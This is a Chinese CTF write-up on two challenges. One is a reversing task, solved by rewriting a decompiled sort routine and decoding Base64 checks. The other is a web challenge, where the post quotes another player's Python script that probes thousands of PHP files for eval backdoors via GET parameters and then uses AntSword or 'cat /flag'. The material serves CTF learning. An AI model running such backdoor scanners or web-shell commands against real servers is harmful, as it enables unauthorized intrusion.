Buuoj 刮开有奖
这题有点毒...
首先一番查找找到关键代码
发现已经定义了一个字符串,然后将其放入sub_CD10F0
中,还带了0和10两个参数。进入该函数:
int __cdecl sub_CD10F0(int a1, int a2, int a3) { int result; // eax int i; // esi int v5; // ecx int v6; // edx result = a3; for ( i = a2; i <= a3; a2 = i ) { v5 = 4 * i; v6 = *(_DWORD *)(4 * i + a1); if ( a2 < result && i < result ) { do { if ( v6 > *(_DWORD *)(a1 + 4 * result) ) { if ( i >= result ) break; ++i; *(_DWORD *)(v5 + a1) = *(_DWORD *)(a1 + 4 * result); if ( i >= result ) break; while ( *(_DWORD *)(a1 + 4 * i) <= v6 ) { if ( ++i >= result ) goto LABEL_13; } if ( i >= result ) break; v5 = 4 * i; *(_DWORD *)(a1 + 4 * result) = *(_DWORD *)(4 * i + a1); } --result; } while ( i < result ); } LABEL_13: *(_DWORD *)(a1 + 4 * result) = v6; sub_CD10F0(a1, a2, i - 1); result = a3; ++i; } return result; }
好乱,似乎还有递归函数,分析不能,直接在Cpp里面重写尝试实现:
#include<bits/stdc++.h> using namespace std; int ax[]={90, 74, 83, 69, 67, 97, 78, 72, 51, 110, 103}; int a(int *a1,int a2,int a3){ int i; int result = a3; int v5,v6; for(i=a2;i<=a3;a2=i) { v5 = i; v6 = a1[i]; if( a2 < result && i < result ) { do{ if(v6>(a1[result])) { if(i>=result) break; ++i; a1[v5] = a1[result]; if(i>=result) break; while(a1[i]<=v6) { if(++i>=result) goto LABEL_13; } if(i>=result) break; v5 = i; a1[result] = a1[i]; } --result; }while(i<result); } LABEL_13: a1[result] = v6; a(a1,a2,i-1); result = a3; ++i; } } int main(){ int a2=0,a3=10; int x=a(ax,0,10); for(int i=0;i<=12;i++) printf("%c",ax[i]); }
之前有看别人的博客有问为啥要吧几个4*i
,4*result
改成i
和result
,我一开始是没有改掉的,后面发现根本算不出来。后面经过观察发现这些乘了4的都是用在数组的指针上的变量。后面有些好奇在52破解论坛上凑不要脸的问了下,后面得知这是由于一个int变量占用的内存是4bytes,所以指针加上的值要乘以4。
运算出来的结果是3CEHJNSZagn
,继续分析:
后面将读入的字符数组放入sub_CD1000
,这个函数进去感觉有些离谱,但是似乎可能是一个Base64解码,因为
跟踪一下代码,发现后面的
果然可以解开成jMp WP1
之后的一些逻辑判断我就直接在代码批注里写了:
BOOL __stdcall DialogFunc(HWND hDlg, UINT a2, WPARAM a3, LPARAM a4) { const char *v4; // esi const char *v5; // edi int v7; // [esp+8h] [ebp-20030h] int v8; // [esp+Ch] [ebp-2002Ch] int v9; // [esp+10h] [ebp-20028h] int v10; // [esp+14h] [ebp-20024h] int v11; // [esp+18h] [ebp-20020h] int v12; // [esp+1Ch] [ebp-2001Ch] int v13; // [esp+20h] [ebp-20018h] int v14; // [esp+24h] [ebp-20014h] int v15; // [esp+28h] [ebp-20010h] int v16; // [esp+2Ch] [ebp-2000Ch] int v17; // [esp+30h] [ebp-20008h] CHAR String; // [esp+34h] [ebp-20004h] char v19; // [esp+35h] [ebp-20003h] char v20; // [esp+36h] [ebp-20002h] char v21; // [esp+37h] [ebp-20001h] char v22; // [esp+38h] [ebp-20000h] char v23; // [esp+39h] [ebp-1FFFFh] char v24; // [esp+3Ah] [ebp-1FFFEh] char v25; // [esp+3Bh] [ebp-1FFFDh] char v26; // [esp+10034h] [ebp-10004h] char v27; // [esp+10035h] [ebp-10003h] char v28; // [esp+10036h] [ebp-10002h] if ( a2 == 272 ) return 1; if ( a2 != 273 ) return 0; if ( (_WORD)a3 == 1001 ) { memset(&String, 0, 0xFFFFu); GetDlgItemTextA(hDlg, 1000, &String, 0xFFFF); if ( strlen(&String) == 8 ) { v7 = 'Z'; v8 = 'J'; v9 = 'S'; v10 = 'E'; v11 = 'C'; v12 = 'a'; v13 = 'N'; v14 = 'H'; v15 = '3'; v16 = 'n'; v17 = 'g'; sub_CD10F0((int)&v7, 0, 10); // v7->17 => 3CEHJNSZagn memset(&v26, 0, 0xFFFFu); v26 = v23; // String->v25 =>User input // v26 -> v28 => char array v28 = v25; v27 = v24; // v26 -> v28 => 6,7,8th char of the input,which is jMp acccrding to the Base64 decode below. v4 = sub_CD1000((int)&v26, strlen(&v26)); memset(&v26, 0, 0xFFFFu); v27 = v21; v26 = v20; v28 = v22; // v26 -> v28 => 3rd,4,5th char of the input,which is WP1 according to the Base64 decode below. v5 = sub_CD1000((int)&v26, strlen(&v26)); if ( String == v7 + 34 // String = U && v19 == v11 // 2nd char = J && 4 * v20 - 141 == 3 * v9 // 3rd char = W && v21 / 4 == 2 * (v14 / 9) // 4th char = P && !strcmp(v4, "ak1w") // jMp WP1 && !strcmp( v5, "V1Ax") ) { MessageBoxA(hDlg, "U g3t 1T!", "@_@", 0); } } return 0; } if ( (_WORD)a3 != 1 && (_WORD)a3 != 2 ) return 0; EndDialog(hDlg, (unsigned __int16)a3); return 1; }
最后附上Base64编码的原理 https://www.jianshu.com/p/bd4ac318d359
刚刚能够判断那个高度可疑是Base64就是因为那个字符串就是Base64的索引(a-z A-Z 0-9 +=/)
[强网杯 2019]高明的黑客
由于种种原因,这题没有去复现,但是还是就记录下来吧:)
这题下有3000多个随机的php文件,很多都有类似$_GET['weR23kG']之后又有eval的语句,但是绝大多是都是不可用的。这里就是猜测有一两个可以使用的后门漏洞。
这题实际上考的最核心的就是正则表达式还有py脚本的编写和解析数据的能力。
主要的实现原理就是用正则搜索$_GET['<var>']
和$_POST['<var>']
这样的关键语句,之后传入<var>=echo 'Backdoor Found'
这样的来查找可以执行的漏洞。
这里po一下别的师傅的代码吧:
https://www.cnblogs.com/h3zh1/p/12661892.html
import requests import os import re import threading import time requests.adapters.DEFAULT_RETRIES = 8 #设置重连次数,防止线程数过高,断开连接 session = requests.Session() session.keep_alive = False # 设置连接活跃状态为False sem=threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的挺厉害的,跑到关键的爆炸,心态就爆炸了 url = "http://7cfcd16d-dd76-4421-8906-b9c234c18daf.node3.buuoj.cn/" # 下载的源文件路径,根据自己的路径修改 path = r"C:\Users\lenovo\Desktop\www\\" rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get参数 rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post参数 fileNames = os.listdir(path) # 列出目录中的文件,以每个文件都开一个线程 local_file = open("flag.txt","w",encoding="utf-8") def run(fileName): with sem: file = open( path + fileName, 'r',encoding='utf-8' ) content = file.read() print("[+]checking:%s" % fileName ) #测试get的参数 for i in rrGET.findall(content): r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") ) if "~h3zh1~" in r.text: flag = "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i ) print(flag) local_file.write(flag) #测试post的参数 #for i in rrPOST.findall(content): # r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } ) # if "~h3zh1~" in r.text: # flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i ) # print(flag) # local_file.writelines(flag) if __name__ == '__main__': start_time = time.time() # 开始时间 print("[start]程序开始:"+str(start_time)) thread_list = [] for fileName in fileNames: t = threading.Thread( target=run , args=(fileName,) ) thread_list.append(t) for t in thread_list: t.start() for t in thread_list: t.join() end_time = time.time() local_file.close() print("[end]程序结束:用时(秒):"+str(end_time-start_time))
之后就直接AntSword连接或者直接cat /flag就行了~~
最近发现正则表达式太重要了,五一假期得好好学学QAQ